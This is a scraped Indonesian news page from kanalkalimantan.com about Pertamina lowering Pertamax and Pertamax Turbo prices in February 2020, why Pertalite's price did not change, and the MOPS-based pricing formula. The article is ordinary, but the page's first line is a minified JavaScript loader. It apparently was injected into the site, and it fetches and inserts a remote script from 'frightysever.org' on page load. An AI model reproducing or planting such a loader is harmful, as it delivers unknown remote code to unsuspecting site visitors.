(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Dua Kali Harga Pertamax Turun di Awal 2020, Kenapa Pertalite Tidak?


KANALKALIMANTAN.COM, JAKARTA – PT Pertamina (Persero) kembali menurunkan harga bahan bakar minyak atau BBM jenis bensin untuk produk Pertamax dan Pertamax Turbo pada hari ini, Sabtu, 1 Februari 2020. Penurunan harga berlaku pukul 00.00 waktu setempat.

“Ini merupakan komitmen Pertamina untuk mendorong masyarakat untuk dapat menggunakan produk-produk BBM Pertamina yang lebih berkualitas dan ramah lingkungan,” ujar Vice President Corporate Communication Pertamina Fajriyah Usman dalam keterangan tertulis, 1 Februari 2020.

Ia menjelaskan, penurunan harga BBM Pertamax dan Pertamax Turbo berbeda tiap daerah. Sebab, harga tersebut dipengaruhi perbedaan besaran Pajak Bahan Bakar Kendaraan Bermotor (PBBKB) di masing-masing daerah.

Fajriyah mencontohkan, harga Pertamax untuk wilayah Jakarta, Banten, dan Jawa Barat akan turun Rp 200 dari semula Rp 9.200 menjadi Rp 9.000 per liter. Sedangkan harga Pertamax Turbo turun Rp 50 dari sebelumnya Rp 9.900 menjadi Rp 9.850 per liter.

Penurunan harga Pertamax dan Pertamax Turbo itu mengacu pada Keputusan Menteri (Kepmen) ESDM 187K/10/MEM/2019 tentang Formula Harga Dasar Dalam Perhitungan Harga Jual Eceran Jenis Bahan Bakar Minyak Umum Jenis Bensin dan Minyak Solar yang Disalurkan Melalui Stasiun Pengisian Bahan Bakar Umum atau Stasiun Pengisian Bahan Bakar Nelayan. Dalam beleid itu, penyesuaian harga BBM dapat dilakukan secara berkala, tergantung faktor-faktor penentu harga. “Salah satu faktornya adalah harga minyak dunia,” tuturnya.

Di sisi lain, ia memastikan harga BBM jenis lainnya tidak mengalami perubahan.
Ia memaparkan, detail harga BBM dapat diakses melalui laman resmi Pertamina.

Sebelumnya, pada 5 Januari 2020, Pertamina juga telah menurunkan harga BBM umum untuk jenis Pertamax series dan Dex series.  Adapun salah satu jenis produk bahan bakar yang tidak mengalami penurunan dalam dua kali penyesuaian harga tersebut adalah Pertalite.

Kenapa harga Pertalite tidak ikut turun? 

Fajriyah mengungkapkan bahwa penyesuaian yang dilakukan tersebut sesuai dengan Keputusan Menteri (Kepmen).

Keputusan Menteri yang dimaksud adalah Kepmen ESDM 187K/10/MEM/2019 tentang Formula Harga Dasar dalam Perhitungan Harga Jual Eceran Jenis Bahan Bakar Minyak Umum Jenis Bensin dan Minyak Solar yang Disalurkan Melalui Stasiun Pengisian Bahan Bakar Umum dan/atau Stasiun Pengisian Bahan Bakar Nelayan.

“Semua sesuai dengan ketentuan Kepmen. Yang tidak berubah, berarti masih sesuai (ketentuan Kepmen),” jawab Fajriyah.

Formula harga BBM 

Kepmen tersebut mengatur formula pembentukan harga BBM termasuk Pertalite yang memiliki angka oktan 90 atau RON 90.

Di Indonesia, ada beberapa jenis pilihan bensin berdasarkan angka oktan (RON), di antaranya adalah RON 88 (Premium), RON 90 (Pertalite), RON 92 ( Pertamax) dan RON 98 (Pertamax Turbo).

Jika mengacu dalam aturan tersebut, maka formula harga Pertalite menggunakan hitungan untuk jenis bensin di bawah RON (Research Octane Number) 95 dan jenis minyak solar CN 48 dengan rumus sebagai berikut:

1.Batas bawah: Means of Platts Singapore (MOPS) + Rp1.000/liter + Margin (5 persen dari harga dasar).

2.Batas atas: MOPS + Rp1.000/liter + Margin (10 persen dari harga dasar).

Untuk itu, formula di atas dapat diaplikasikan untuk menghitung batas bawah dan batas atas Premium, Pertalite, dan Pertamax.

MOPS sendiri merupakan bagian biaya perolehan atas penyediaan BBM jenis bensin dan minyak solar dari produksi kilang dalam negeri dan atau impor sampai dengan terminal BBM, yang mencerminkan harga produk, dengan ketentuan tertentu.

Ketentuan pertama adalah bahwa MOPS dihitung dengan formula menggunakan rata-rata harga publikasi MOPS dengan satuan dollar AS per barel periode tanggal 25 pada dua bulan sebelumnya hingga tanggal 24 pada satu bulan sebelumnya untuk penetapan bulan berjalan.

Untuk Pertalite atau bensin RON 90, MOPS didasarkan pada harga publikasi MOPS jenis Mogas 92 dengan formula 99,21 persen kali MOPS Mogas 92.

Sementara, untuk Pertamax atau bensin RON 92, MOPS didasarkan pada harga publikasi MOPS jenis Mogas 92 dengan formula 100 persen kali MOPS Mogas 92. (suara.com)


Al Ghifari

Recent Posts

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

3 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

4 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

19 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

20 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

20 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

22 jam ago

This website uses cookies.